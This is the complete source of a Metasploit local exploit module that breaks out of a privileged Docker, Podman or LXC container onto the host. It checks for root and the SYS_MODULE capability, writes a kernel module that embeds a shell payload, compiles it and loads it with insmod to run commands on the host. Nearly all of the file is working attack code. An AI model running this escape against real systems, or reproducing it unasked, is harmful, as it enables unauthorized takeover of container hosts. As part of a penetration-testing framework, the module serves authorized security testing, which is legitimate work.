Docker Privileged Container Kernel Escape

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Docker Privileged Container Kernel Escape',
          'Description' => %q{
            This module performs a container escape onto the host as the daemon
            user. It takes advantage of the SYS_MODULE capability. If that
            exists and the linux headers are available to compile on the target,
            then we can escape onto the host.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Nick Cottrell <Rad10Logic>', # Module writer
            'Eran Ayalon', # PoC/article writer
            'Ilan Sokol' # PoC/article writer
          ],
          'Platform' => %w[linux unix],
          'Arch' => [ARCH_CMD],
          'Targets' => [['Automatic', {}]],
          'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },
          'SessionTypes' => %w[shell meterpreter],
          'DefaultTarget' => 0,
          'References' => [
            %w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities],
            %w[URL https://github.com/maK-/reverse-shell-access-kernel-module]
          ],
          'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL
          'Notes' => {
            'Stability' => [ CRASH_SAFE ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
          }
        }
      )
    )
    register_advanced_options([
      OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/),
      OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"])
    ])
  end

  # Check we have all the prerequisites to perform the escape
  def check
    # Checking database if host has already been disclosed as a container
    container_name =
      if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host
        framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host
      else
        get_container_type
      end

    unless %w[docker podman lxc].include?(container_name.downcase)
      return Exploit::CheckCode::Safe('Host does not appear to be container of any kind')
    end

    # is root user
    unless is_root?
      return Exploit::CheckCode::Safe('Exploit requires root inside container')
    end

    # Checking if the SYS_MODULE capability is enabled
    capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)
    unless capability_bitmask & 0x0000000000010000 > 0
      return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')
    end

    CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.')
  end

  def exploit
    krelease = kernel_release
    # Check if kernel header folders exist
    kernel_headers_path = [
      "/lib/modules/#{krelease}/build",
      "/usr/src/kernels/#{krelease}"
    ].find { |path| directory?(path) }
    unless kernel_headers_path
      fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.')
    end
    vprint_status("Kernel headers found at: #{kernel_headers_path}")

    # Check that our required binaries are installed
    unless command_exists?('insmod')
      fail_with(Failure::NoTarget, 'insmod does not appear to be installed.')
    end
    unless command_exists?('make')
      fail_with(Failure::NoTarget, 'make does not appear to be installed.')
    end

    # Check that container directory is writable
    if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])
      fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")
    end

    # Checking that kernel module isn't already running
    if kernel_modules.include?(datastore['KernelModuleName'])
      fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.")
    end

    # Creating source files
    print_status('Creating files...')
    mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])

    write_kernel_source(datastore['KernelModuleName'], payload.encoded)
    write_makefile(datastore['KernelModuleName'])
    register_files_for_cleanup([
      "#{datastore['KernelModuleName']}.c",
      'Makefile'
    ].map { |filename| File.join(datastore['WritableContainerDir'], filename) })

    # Making exploit
    print_status('Compiling the kernel module...')
    results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'")
    vprint_status('Make results')
    vprint_line(results)
    register_files_for_cleanup([
      'Module.symvers',
      'modules.order',
      "#{datastore['KernelModuleName']}.mod",
      "#{datastore['KernelModuleName']}.mod.c",
      "#{datastore['KernelModuleName']}.mod.o",
      "#{datastore['KernelModuleName']}.o"
    ].map { |filename| File.join(datastore['WritableContainerDir'], filename) })

    # Checking if kernel file exists
    unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko")
      fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.')
    end
    print_good('Kernel module compiled successfully')

    # Loading module and running exploit
    print_status('Loading kernel module...')
    results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'")

    unless results.blank?
      results = results.strip
      vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : ''))
      vprint_line(results) if results.count("\n") > 0
    end
  end

  def cleanup
    # Attempt to remove kernel module
    if kernel_modules.include?(datastore['KernelModuleName'])
      vprint_status('Cleaning kernel module')
      cmd_exec("rmmod #{datastore['KernelModuleName']}")
    end

    # Check that kernel module was removed
    if kernel_modules.include?(datastore['KernelModuleName'])
      print_warning('Payload was not a oneshot and cannot be removed until session is ended')
      print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")
    end
    super
  end

  def write_kernel_source(filename, payload_content)
    file_content = <<~SOURCE
      #include<linux/init.h>
      #include<linux/module.h>
      #include<linux/kmod.h>

      MODULE_LICENSE("GPL");

      static int start_shell(void){
      #{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')}
      char *argv[] = {"/bin/bash", "-c", command, NULL};
      static char *env[] = {
      "HOME=/",
      "TERM=linux",
      "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
      return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);
      }

      static int init_mod(void){
      return start_shell();
      }
      static void exit_mod(void){

      return;
      }
      module_init(init_mod);
      module_exit(exit_mod);
    SOURCE
    filename = "#{filename}.c" unless filename.end_with?('.c')
    write_file(File.join(datastore['WritableContainerDir'], filename), file_content)
  end

  def write_makefile(filename)
    file_contents = <<~SOURCE
      obj-m +=#{filename}.o

      all:
      \tmake -C $(KERNEL_DIR) M=$(PWD) modules
      clean:
      \tmake -C $(KERNEL_DIR) M=$(PWD) clean
    SOURCE
    write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents)
  end
end